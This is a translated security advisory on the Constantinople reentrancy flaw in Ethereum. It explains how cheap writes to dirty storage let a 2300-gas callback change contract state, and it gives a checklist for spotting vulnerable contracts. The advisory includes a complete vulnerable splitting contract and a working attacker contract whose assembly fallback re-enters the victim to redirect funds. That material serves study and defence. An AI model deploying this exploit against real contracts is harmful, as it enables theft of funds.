이더리움 네트워크 콘스탄티노플 업그레이드 취약점 세부 정보
猎豹区块链安全
2019-01-16 08:54
本文约2972字,阅读全文需要约12分钟
이더리움 네트워크 업그레이드 전날 갑자기 "재진입" 취약점이 발생하여 업그레이드가 지연되고 있습니다.

첫 번째 레벨 제목
 

이 코드에 어떤 문제가 있습니까?

아래는 콘스탄티노플 이전에는 재진입 공격에 취약하지 않았지만 이후에는 짧은 스마트 계약입니다. Github에서 공격자 계약을 포함한 전체 소스 코드를 찾을 수 있습니다.

pragma solidity ^0.5.0;

contract PaymentSharer {
 mapping(uint => uint) splits;
 mapping(uint => uint) deposits;
 mapping(uint => address payable) first;
 mapping(uint => address payable) second;

 function init(uint id, address payable _first, address payable _second) public {
   require(first[id] == address(0) && second[id] == address(0));
   require(first[id] == address(0) && second[id] == address(0));
   first[id] = _first;
   second[id] = _second;
 }

 function deposit(uint id) public payable {
   deposits[id] += msg.value;
 }

 function updateSplit(uint id, uint split) public {
   require(split <= 100);
   splits[id] = split;
 }

 function splitFunds(uint id) public {
   // Here would be: 
   // Signatures that both parties agree with this split

   // Split
   address payable a = first[id];
   address payable b = second[id];
   uint depo = deposits[id];
   deposits[id] = 0;

   a.transfer(depo * splits[id] / 100);
   b.transfer(depo * (100 - splits[id]) / 100);
 }
}

<신규 취약코드 예시>


이 코드는 예상치 못한 방식으로 공격을 받았습니다. 보안 분할 서비스를 시뮬레이트했습니다. 양 당사자는 공동으로 자금을 받고, 자금을 분할하는 방법을 결정하고, 지불을 받을 수 있습니다. 공격자는 첫 번째 주소가 아래 나열된 공격자 계약이고 두 번째 주소가 공격자 계정인 주소 쌍을 만들 수 있습니다. 공격자는 약간의 돈을 충전합니다.


pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
 address private victim;
 address payable owner;

 constructor() public {
   owner = msg.sender;
 }

 function attack(address a) external {
   victim = a;
   PaymentSharer x = PaymentSharer(a);
   x.updateSplit(0, 100);
   x.splitFunds(0);
 }

 function () payable external {
   address x = victim;
   assembly{
       mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
       pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
   }    
 }

 function drain() external {
   owner.transfer(address(this).balance);
 }
}
<첫 번째 주소로 나열된 공격자 계약>


공격자는 트랜잭션에서 다음 이벤트를 공개하기 위해 자신의 계약의 공격 기능을 호출합니다.
1. 공격자는 updateSplit을 사용하여 현재 분할을 설정하여 후속 업그레이드가 저렴하도록 합니다. 이것은 콘스탄티노플 업그레이드의 결과입니다. 공격자는 첫 번째 주소(계약 주소)가 모든 자금을 받는 방식으로 분할을 설정합니다.
2. 공격자 계약은 splitFunds 기능을 호출하여 확인*을 수행하고 전송을 사용하여 주소 쌍의 전체 예금을 계약으로 보냅니다.
3. 콜백 기능에서 공격자는 분할을 다시 업데이트하고 이번에는 모든 자금을 공격자의 두 번째 계정에 할당합니다.
4. splitFunds 실행이 계속되고 모든 예금도 두 번째 공격자 계정으로 이체됩니다.
첫 번째 레벨 제목
 

왜 지금 공격할 수 있습니까?

콘스탄티노플 이전에는 각 저장 작업에 최소 5000개의 가스가 필요했습니다. 이는 컨트랙트를 호출하기 위해 전송 또는 전송을 사용할 때 전송되는 2300 가스 요금을 훨씬 초과합니다.

콘스탄티노플 이후 "더티" 스토리지 슬롯을 변경하는 스토리지 작업에는 200개 가스만 필요합니다. 스토리지 슬롯을 더티로 만들려면 진행 중인 트랜잭션 중에 변경해야 합니다. 위에 표시된 것처럼 이는 일반적으로 원하는 변수를 변경하는 일부 공용 함수를 호출하는 공격자 계약에 의해 달성될 수 있습니다. 그런 다음, 예를 들어 msg.sender.transfer(...)를 사용하여 취약한 계약이 공격자 계약을 호출하도록 함으로써 공격자 계약은 2300 가스 요금을 사용하여 취약한 계약의 변수를 성공적으로 조작할 수 있습니다.


계약이 취약해지려면 특정 전제 조건이 충족되어야 합니다.
1. 함수에서 전송/전송 후 상태 변경 작업이 뒤따르는 함수 A가 있어야 합니다. 이는 두 번째 전송 또는 다른 스마트 계약과의 상호 작용과 같이 때때로 명확하지 않을 수 있습니다.
2. 공격자는 (a) 상태를 변경할 수 있고 (b) 상태 변경이 기능 A의 상태와 충돌할 수 있는 기능 B에 액세스할 수 있어야 합니다.
3. 기능 B는 1600 가스 미만으로 실행되어야 합니다(2300 가스 요금 - CALL의 경우 700 가스).

내 계약이 취약합니까?


취약한지 테스트하려면:
(a) 전송 이벤트 이후에 동작이 있는지 확인합니다.
(b) 이러한 작업이 일부 저장 변수를 할당하여 가장 일반적으로 저장 상태를 변경하는지 확인합니다. 예를 들어 토큰의 전송 방식*과 같은 다른 계약을 호출하는 경우 어떤 변수가 수정되는지 확인하십시오. 목록을 만드십시오.
(c) 비관리자가 액세스할 수 있는 계약의 다른 메서드가 이러한 변수 중 하나를 사용하는지 확인합니다.
(d) 이러한 메서드가 자체적으로 저장된 상태를 변경하는지 확인합니다.
(e) 2300 Gas 미만의 방법이 있는지 확인하고, SSTORE 작업은 200 Gas만 한다는 점을 기억하세요.
이런 일이 발생하면 공격자가 계약을 잘못된 상태로 만들 수 있습니다. 전반적으로 이것은 Checks-Effects-Interactions 패턴이 왜 그렇게 중요한지에 대한 또 다른 알림입니다.

 

노드 운영자 또는 광부로서 무엇을 해야 합니까?

최신 버전의 Ethereum 클라이언트를 다운로드합니다.

최신 geth 클라이언트(v1.8.20)

최신 패리티 클라이언트(v2.1.11-stable)

최신 Harmony 클라이언트(v2.3 빌드 72)

최신 Pantheon 클라이언트(v0.8.3)

최신 Trinity 클라이언트(v0.1.0-alpha.20)

Ethereum Wallet/Mist 최신 버전(v0.11.1)

 

| 저자: 체인시큐리티

| 번역: Cheetah 블록체인 보안팀


猎豹区块链安全
作者文库